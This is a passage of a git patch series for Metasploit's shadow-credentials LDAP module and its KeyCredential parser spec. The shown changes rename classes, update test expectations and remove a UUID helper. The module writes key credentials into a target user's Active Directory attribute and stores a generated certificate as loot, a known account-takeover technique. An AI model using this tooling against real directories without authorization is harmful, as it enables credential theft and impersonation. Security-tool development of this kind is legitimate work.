now credential_entries.append(credential) update_list = credentials_to_ldap_format(credential_entries, obj['dn']) @@ -227,7 +205,7 @@ def action_add(obj) pkcs12 = OpenSSL::PKCS12.create('', '', key, cert) store_cert(pkcs12) - print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{bytes_to_uuid(credential.device_id)}") + print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}") end def store_cert(pkcs12) @@ -249,7 +227,7 @@ def store_cert(pkcs12) create_credential(credential_data) info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate" - stored_path = store_loot('windows.shadowcreds', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) + stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) print_status("Certificate stored at: #{stored_path}") end diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb index d4acd8fb4567..134237ff853e 100755 --- a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -20,24 +20,24 @@ end let(:credential_struct) do raw = credential_str - Rex::Proto::MsAdts::KeyCredentialStruct.read(raw) + Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(raw) end it 'parses the expected value' do - expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct + expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) expect(credential.public_key.e.to_i).to eq(65537) expect(credential.public_key.n.to_i).to eq(30018598016909958640634853359759879550963200968043190152563783141554063738803530478839278609618973243780651826483205062757856223334872753534090760739709274582276885780114654791667392922235140822454036631549826712343512885423676381458429138803216305582530459349913700854720727598363220647901324366195130526789275685153466162756392687731569674974764917142530663770836683438609032320698328081684727231191567760732169431689494442498488083773992436698936823783263783535359718960574840595186049492067279886083653830420133872397484908514196242186454757791227057108296064066345936039955504692575343132997344017910838318287481) - expect(credential.key_approximate_last_logon_time_stamp).to eq('2024-03-27 09:43:05 +1100'.to_datetime) + expect(credential.key_approximate_last_logon_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime) expect(credential.key_creation_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime) expect(credential.key_hash).to eq(['508e0ee3afa57294951857688e9a548d3a1fbfc6f74c1df91f1bf6ef994ca1fe'].pack('H*')) - expect(credential.device_id).to eq(["95c280f0bc6f290e4c8b6ad1d1b3545c"].pack('H*')) + expect(credential.device_id).to eq('f080c295-6fbc-0e29-4c8b-6ad1d1b3545c') expect(credential.key_id).to eq(["767b3c80129f41b40503d78436c1c2084c2b79dd81ac19545eaa09a0b1448b41"].pack('H*')) expect(credential.key_usage).to eq(Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC) end it 'writing is the inverse of reading' do - expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct + expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) result = credential.to_struct.to_binary_s expect(result).to eq credential_str From 29c6e0a1e5e5f5b38e52ce6665967fba411a99cd Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 9 Apr 2024 07:53:26 +1000 Subject: [PATCH 14/14] Removed unused function --- .../admin/ldap/shadow_credentials.rb | 23 ------------------- 1 file changed, 23 deletions(-) diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb index 8a1d7362f772..46dc504233af 100644 --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -250,29 +250,6 @@ def credentials_to_ldap_format(entries, dn) end end - def bytes_to_uuid(bytes) - if bytes.nil? - return '(no device ID)' - end - - # Convert each byte to a 2-digit hexadecimal string - hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } - - # Arrange the hex strings in the correct order for UUID format - uuid_parts = [ - hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) - hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) - hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) - hex_strings[8..9].join, # Next 2 bytes (big-endian) - hex_strings[10..15].join # Last 6 bytes (big-endian) - ] - - # Join the parts with hyphens to form the complete UUID - uuid = uuid_parts.join('-') - - return uuid - end - def generate_key_and_cert(subject) key = OpenSSL::PKey::RSA.new(2048) cert = OpenSSL::X509::Certificate.new